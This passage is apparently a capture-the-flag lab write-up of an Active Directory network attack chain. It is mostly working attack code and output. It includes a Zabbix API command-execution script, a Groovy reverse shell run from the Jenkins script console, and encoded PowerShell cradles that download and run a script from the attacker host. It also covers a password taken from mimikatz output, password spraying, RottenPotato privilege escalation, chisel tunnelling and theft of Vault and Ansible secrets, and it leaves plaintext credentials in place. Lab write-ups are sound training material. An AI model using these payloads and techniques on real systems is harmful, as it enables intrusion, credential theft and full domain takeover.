12 parser.add_argument('cmd', metavar="type",help="Command to run")
13 args = parser.parse_args()
14
15 username = 'zabapi'
16 password = 'Zabbix'
17 headers = {'Content-Type': 'application/json-rpc'}
18 url = 'http://10.9.10.16/zabbix/api_jsonrpc.php'
19 proxies = {'http': 'socks4://127.0.0.1:13004', 'https':
'socks4://127.0.0.1:13004'}
20
21 def random_string():
22    return ''.join(choice(string.ascii_uppercase + string.digits) for _ in
range(12))    
23
24 def get_token():
25    auth_data = {
26        "jsonrpc": "2.0",
27        "method": "user.login",
28        "params": {
29            "user": username,
30            "password": password,
31       },
32        "id": 1,
33        "auth": None
34   }
35
36    try:
37        auth_request = requests.post(url, data=json.dumps(auth_data),
headers=headers, proxies=proxies)
38    except Exception as e:
39        print('[!] Received an error whilst grabbing an auth token: ', e)
40        quit()
41
42    if auth_request.status_code != 200:
43        print('[-] Failed to authenticate :(')
44        quit()
45
46    auth = auth_request.json()
47    try:
48        token = auth['result']
49    except Exception as e:
50        print('[!] Received an error whilst extracting the token')
51        quit()
52    print('[+] Got an authentication token: ' + token)        
53    return token  
54
55 def item():
56    item_name = random_string()
57    token = get_token()
58    delay = '60'
59
60    add_item = {
61    "jsonrpc": "2.0",
62    "method": "item.create",
63    "params":
64   {
65        "name": item_name,
66        "key_": f"system.run[\"{args.cmd}\"]",
67        "hostid": "10106",
68        "type": 0,
69        "value_type": 3,
70        "interfaceid": 2,
71        "delay": delay
72   },
73    "auth": token,
74    "id": 1
75 }
76
77    print('[+] payload is: ',add_item)
78
79    add_item_response = requests.post(url, data=json.dumps(add_item),
headers=headers, proxies=proxies)
80
81    add_item_json = add_item_response.json()
82
83    if 'error' in add_item_json.keys():
84        print('[!] Received an error:', add_item_json['error']['data'])
85        exit()
86
87    try:
88        itemid = add_item_json['result']['itemids'][0]
89        print('[+] Got itemid: ',itemid)
90    except Exception as e:
91        print(e)
92        quit()
93
94    s = 15
95    print(f'[!] Sleeping for the {s} seconds...')
96    for i in tqdm(range(s)):
97        sleep(3)
98
99    print('[!] Hopefully it triggered, deleting the item...')
100
101    delete_item = {
102    "jsonrpc": "2.0",
103    "method": "item.delete",
104    "params": [itemid],
105    "auth": token,
106    "id": 1
107   }
108
109    delete_item_response = requests.post(url, data=json.dumps(delete_item),
headers=headers, proxies=proxies)
110
111    delete_item_json = delete_item_response.json()
112
113    print('[!] Got response from delete: ', delete_item_json)
114
115 def main():
116    print(f'[!] Authenticating as {username}:{password}')
117    print('[!] Using these proxies: ' + str(proxies.values()))
118    item()
119
120 main()        

New flag:

1 Cyb3rN3t1C5{M0n!t0r_t00l_RC3}

In mimikatz.exe :

1 Secret : DefaultPassword
2 cur/text: ohD6ubo5ie

Spraying this:

1 .\SMBSpray.exe d3v.local ohD6ubo5ie .\d3v-users.txt


2 Spraying the d3v.local Domain with 205 users!
3 [+] JAMES.PECK@D3V.LOCAL:ohD6ubo5ie is valid!

Based on the next flag, its Jenkins:

1 Ask jeeves?

Jenkins

I'm not sure who mentioned it, but I know the next step is to add a cert to
Windows, same as before. So, add hosts:
1 10.10.110.12   jenkins.cyber.local
2 10.10.110.11   certenroll.cyber.local
3 10.10.110.12   mail.cyber.local
4 10.10.110.12   adfs.cyber.local

This can all be found on drupal:


Jenkins: https://jenkins.cyber.local (Public IP: 10.10.110.12. Only DevOPS
can authenticate to this portal) Have a wonderful day

Next, import the two certs.

Add this to the enrollment:

1 https://certenroll.cyber.local/ADPolicyProvider_CEP_UsernamePassword/service.
svc/CEP

Validate with:

1 d3v\james.peck
2 ohD6ubo5ie

Request a User Cert and browse to: https://jenkins.cyber.local

Once on Jenkins, shell is easy:

1 String host="10.10.14.10";
2 int port=80;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(p
e.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Th
read.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};p.destroy();s.close();
This is at http://jenkins.cyber.local/script .

From there, the usual:

1 powershell.exe -nop -encodedcommand


SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=

Rooting D3WEBJW

1 C:\Windows\Tasks>.\rotten.exe -run_process .\artifact.exe


2 .\rotten.exe -run_process .\artifact.exe
3 Starting DCERPC NTLM Relay...
4 GOT TYPE1 MESSAGE TOKEN-RELAY!
5 GOT TYPE2 MESSAGE (CHALLENGE) from RPCs
6 GOT TYPE3 MESSAGE (AUTH) TOKEN-RELAY
7 You are now: SYSTEM
8 Executed:.\artifact.exe
9 Process Created Successfully
10
11 C:\Windows\Tasks>

Easy.

Another flag:

1 Cyb3rN3t1C5{J3nk!n$_$AML}

Three left!

The next flag:

1 Ask and you shall receive

Notes:

1 Directory of c:\notes
2
3 01/07/2020 12:11 PM   <DIR>         .
4 01/07/2020 12:11 PM   <DIR>         ..
5 01/07/2020 08:53 AM               280 ansible_aes.key
6 01/07/2020 08:53 AM               278 ansible_passwd.txt
7 02/10/2020 06:36 PM               351 Dev_Notes.txt
8               3 File(s)           909 bytes
9               2 Dir(s) 73,800,298,496 bytes free
10
11 c:\notes>type ansible_passwd.txt
12 type ansible_passwd.txt
13 76492d1116743f0423413b16050a5345MgB8AEwAbgBiADIAaQBCAEIAMgBTADkARQBVAEsASwBh
AFkAcQBpAHIAawBLAGcAPQA9AHwAYQBjAGIAMQA5ADQANAA2AGIAMABhADEANgAwAGUAMgBhADUA
MwBkADYANQA4ADQAYwBmADkAZAA3AGQAMQAyADAANQAxADQAMwAwADcAOQBjADYAZQAyADEAYgBl
ADUAOQA3ADgAMgAyAGUAYwA0ADgAMwA4AGEAYwA1AGMAZgA=
14
15 c:\notes>type Dev_Notes.txt
16 type Dev_Notes.txt
17 1. Configure Hashoicorp Vault with username and password authentication
(done)
18 2. Store ansible playbook secret key into Hashicorp Vault (done)
19 3. Figure out how to communicate with vault.cyber.local API using the AES
and passwd with username ansible
20 3a. Extract ansible playbook secret via API and decrypt ansible playbooks on
ansible.cyber.local
21 c:\notes>

This can be decoded into:

1 $encrytedFlag =
'76492d1116743f0423413b16050a5345MgB8AEwAbgBiADIAaQBCAEIAMgBTADkARQBVAEsASwBh
AFkAcQBpAHIAawBLAGcAPQA9AHwAYQBjAGIAMQA5ADQANAA2AGIAMABhADEANgAwAGUAMgBhADUAM
wBkADYANQA4ADQAYwBmADkAZAA3AGQAMQAyADAANQAxADQAMwAwADcAOQBjADYAZQAyADEAYgBlAD
UAOQA3ADgAMgAyAGUAYwA0ADgAMwA4AGEAYwA1AGMAZgA='
2 $key =
(49,222,253,86,26,137,92,43,29,200,17,203,88,97,39,38,60,119,46,44,219,179,13
,194,191,199,78,10,4,40,87,159)
3 $SecureFlag = ConvertTo-SecureString -String $encrytedFlag -Key $key
4 [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.M
arshal]::SecureStringToBSTR($SecureFlag))

To give a password:

1 6daDjIU0UqEdvGI
The notes say to figure out how to talk to vault.cyber.local , which when pinged
is 10.9.30.13 .

vault.cyber.local

As per this:

1 1. Configure Hashoicorp Vault with username and password authentication


(done)

Creds need to be found for vault , it can be accessed like so:

1 proxychains ./vault login

It also says:

1 3. Figure out how to communicate with vault.cyber.local API using the AES and
passwd with username ansible

vault has these options:

1 -ca-cert=<string>
2     Path on the local disk to a single PEM-encoded CA certificate to
verify
3     the Vault server's SSL certificate. This takes precedence over -ca-
path.
4     This can also be specified via the VAULT_CACERT environment variable.
5
6 -ca-path=<string>
7     Path on the local disk to a directory of PEM-encoded CA certificates
to
8     verify the Vault server's SSL certificate. This can also be specified
9     via the VAULT_CAPATH environment variable.
10
11 -client-cert=<string>
12     Path on the local disk to a single PEM-encoded CA certificate to use
13     for TLS authentication to the Vault server. If this flag is specified,
14     -client-key is also required. This can also be specified via the
15     VAULT_CLIENT_CERT environment variable.
16
17 -client-key=<string>
18     Path on the local disk to a single PEM-encoded private key matching
the
19     client certificate from -client-cert. This can also be specified via
the
20     VAULT_CLIENT_KEY environment variable.

Username auth:

1 proxychains ./vault login -method=userpass username=my-username -


address="http://10.9.30.13:8200"

The binary is crap, curl is better.

To get a token:

1 proxychains curl --request POST --data '{"password": "6daDjIU0UqEdvGI"}'


http://10.9.30.13:8200/v1/auth/userpass/login/ansible

1 {
2    "request_id": "865c09e9-3ec7-4667-7a0c-ffa3ea37c266",
3    "lease_id": "",
4    "renewable": false,
5    "lease_duration": 0,
6    "data": null,
7    "wrap_info": null,
8    "warnings": null,
9    "auth":
10   {
11        "client_token": "s.djXxAg61B1QTcv7TL42zZmgs",
12        "accessor": "QwzNYlMxO0k2R9gkfIHeQIqu",
13        "policies": ["ansible", "default"],
14        "token_policies": ["ansible", "default"],
15        "metadata":
16       {
17            "username": "ansible"
18       },
19        "lease_duration": 1800,
20        "renewable": true,
21        "entity_id": "99a5f474-d2c2-9130-f989-b2f3a062d6c8",
22        "token_type": "service",
23        "orphan": true
24   }
25 }
As per the documentation:


the application would first authenticate to Vault which would return a Vault
API token. The application would use that token for future communication
with Vault.

Then:

1 proxychains curl -H "X-Vault-Token: s.djXxAg61B1QTcv7TL42zZmgs" -X GET  


http://10.9.30.13:8200/v1/secret?help=1

This api is not working with curl. I'll use the client. To do this, I'll upload chisel.

vault binary

Start the server on Ubuntu:

1 /pentest/inf/chisel/chisel_1.4.0_linux_amd64 server -p 80 --reverse

Then, from Cobalt:

1 shell .\chisel_1.4.0_windows_amd64.exe client 10.10.14.10:80


R:8200:127.0.0.1:8200

I also did this:

1 netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=8200


connectaddress=10.9.30.13 connectport=8200

127.0.0.1:8200 goes through chisel, then looks up 8200 on the jenkins box,
which is then pushed to vault. With that, export VAULT_ADDR :
1 export VAULT_ADDR=http://127.0.0.1:8200

Login:

1 ./vault login -method=userpass username=ansible


2
3 Password (will be hidden):
4 Success! You are now authenticated. The token information displayed below
5 is already stored in the token helper. You do NOT need to run "vault login"
6 again. Future Vault requests will automatically use this token.
7
8 Key                   Value
9 ---                   -----
10 token                 s.bVD13NwqonrtNBl8EmEzTbeo
11 token_accessor         t3cFtQOSKkEgXkfWih4zN1J5
12 token_duration         30m
13 token_renewable       true
14 token_policies         ["ansible" "default"]
15 identity_policies     []
16 policies               ["ansible" "default"]
17 token_meta_username   ansible

List:

1 ./vault kv list secret/                                                    


 
2 Keys
3 ----
4 Cybernetics-Flag
5 ansible-secret

Flag:
1 ./vault kv get secret/Cybernetics-Flag/    
2 ====== Metadata ======
3 Key             Value
4 ---             -----
5 created_time     2020-02-17T15:10:56.2516873Z
6 deletion_time   n/a
7 destroyed       false
8 version         1
9
10 ==== Data ====
11 Key     Value
12 ---     -----
13 flag   Cyb3rN3t1C5{V@ult_AP!}

And the ansible data:

1 ./vault kv get secret/ansible-secret


2 ====== Metadata ======
3 Key             Value
4 ---             -----
5 created_time     2020-01-04T03:29:24.3053968Z
6 deletion_time   n/a
7 destroyed       false
8 version         1
9
10 ========== Data ==========
11 Key                 Value
12 ---                 -----
13 playbook-password   aXYxQqxIWldJHX5sJVrCzVEkdQmP33

Ansible

The note says:

1 3a. Extract ansible playbook secret via API and decrypt ansible playbooks on
ansible.cyber.local

The IP:
1 Pinging ansible.cyber.local [10.9.30.11] with 32 bytes of data:
2 Reply from 10.9.30.11: bytes=32 time<1ms TTL=64
3 Reply from 10.9.30.11: bytes=32 time<1ms TTL=64
4 Reply from 10.9.30.11: bytes=32 time=31ms TTL=64
5 Reply from 10.9.30.11: bytes=32 time<1ms TTL=64

Its possible to ssh to this host, however creds were required. These were found
on the Jenkins server:

1 D3V\James.Weeks
2 xuu8ZivauM

Session:

1 D3V\james.weeks@d3webal:~$ whoami; hostname


2 D3V\james.weeks
3 d3webal

Then cat the d3v.yml file:

1 cat /Ansible/group_vars/d3v.yml

This reveals:

1 ---
2 #winrm options
3 ansible_user: Administrator@D3V.LOCAL
4 ansible_password: !vault |
5         $ANSIBLE_VAULT;1.1;AES256
6        
6336363537343138616361663666613933626633616562373331643732643230373239353534
6666
7        
6437356362333338333331396438333933613036313732630a61323866646638343434396661
3065
8        
3633333630666366653764636231636637613163356664396134303237306361386133326363
6661
9        
6231386131643236310a33663332353362363033663739653838313761653264343261343232
3964
10         6362
11 ansible_connection: winrm
12 ansible_port: 5985
13 ansible_winrm_transport: kerberos
14 ansible_winrm_operation_timeout_sec: 2700
15 ansible_winrm_read_timeout_sec: 2800

This can be decrypted with:

1 echo '$ANSIBLE_VAULT;1.1;AES256
2 63363635373431386163616636666139336266336165623733316437326432303732393535346
666
3 6437356362333338333331396438333933613036313732630a613238666466383434343966613
065
4 36333336306663666537646362316366376131633566643961343032373063613861333263636
661
5 6231386131643236310a336633323533623630336637396538383137616532643432613432323
964
6 6362' | ansible-vault decrypt && echo

Then, enter the password ( aXYxQqxIWldJHX5sJVrCzVEkdQmP33 ):

1 Cyb3rN3t1C5{An$!bl3_3ncrypt!0n}
2 Decryption successful

And then same again with the one in /Ansible :

1 echo '$ANSIBLE_VAULT;1.1;AES256
2 34353338366166613363376436626430343234646439363237363632356336613033623038386
362
3 3437653632343832306637656231646564616265656264350a306530646631333261623461396
135
4 64636361316237313334373865303933393165313737633830656262353632633432343761363
966
5 3466363632393034640a393730643534326461363434336461303231623035376564316430396
134
6 36393231313763663034303631323165313638396566623534663365303666363639346464376
661
7 6239633436633765363634393132646534643762326633396539' | ansible-vault
decrypt && echo
This then becomes:

1 Decryption successful
2 i@V@36hbW

The decryption is taken from here: https://stackoverflow.com/questions/43467180/


how-to-decrypt-string-with-ansible-vault-2-3-0

Now, to finish off, get a session:

1 $username = "d3v\administrator"
2 $password = "i@V@36hbW"
3 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4 $credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
5 $session = new-pssession d3dc.d3v.local -credential $credential
6 Invoke-Command $session -ScriptBlock {powershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=}

And its done:

1 d3v\administrator

Last flag:

1 Cyb3rN3t1C5{C0r3_M3ltd0wn}

#Cyb3rN3t1C5{EF$_3ncrypt3!0n} = "Dreams feel real while we're in them"

Found by catting Robert Lanza's OVPN file

You might also like